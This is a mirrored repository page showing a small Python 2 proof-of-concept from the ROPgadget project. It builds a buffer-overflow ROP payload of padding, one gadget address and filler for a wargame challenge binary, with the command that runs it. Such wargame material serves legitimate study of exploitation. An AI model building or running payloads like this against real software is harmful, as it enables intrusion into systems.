mirror of
https://github.com/JonathanSalwan/ROPgadget
synced 2026-06-08 11:25:23 +00:00
Jonathan Salwan
15 lines
295 B
Python
Executable File
15 lines
295 B
Python
Executable File
#!/usr/bin/python2
|
|
# Test RopGadget payload in ndh_rop binary
|
|
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
|
|
#
|
|
# poc: ./ndh_rop "$(python2 ./exploit.py)"
|
|
|
|
from struct import pack
|
|
|
|
p = "a" * 12
|
|
# Generated by RopGadget v3.0
|
|
p += pack("<I", 0x08083183) # pop %edx | ret
|
|
p += "BBBB"
|
|
|
|
print p
|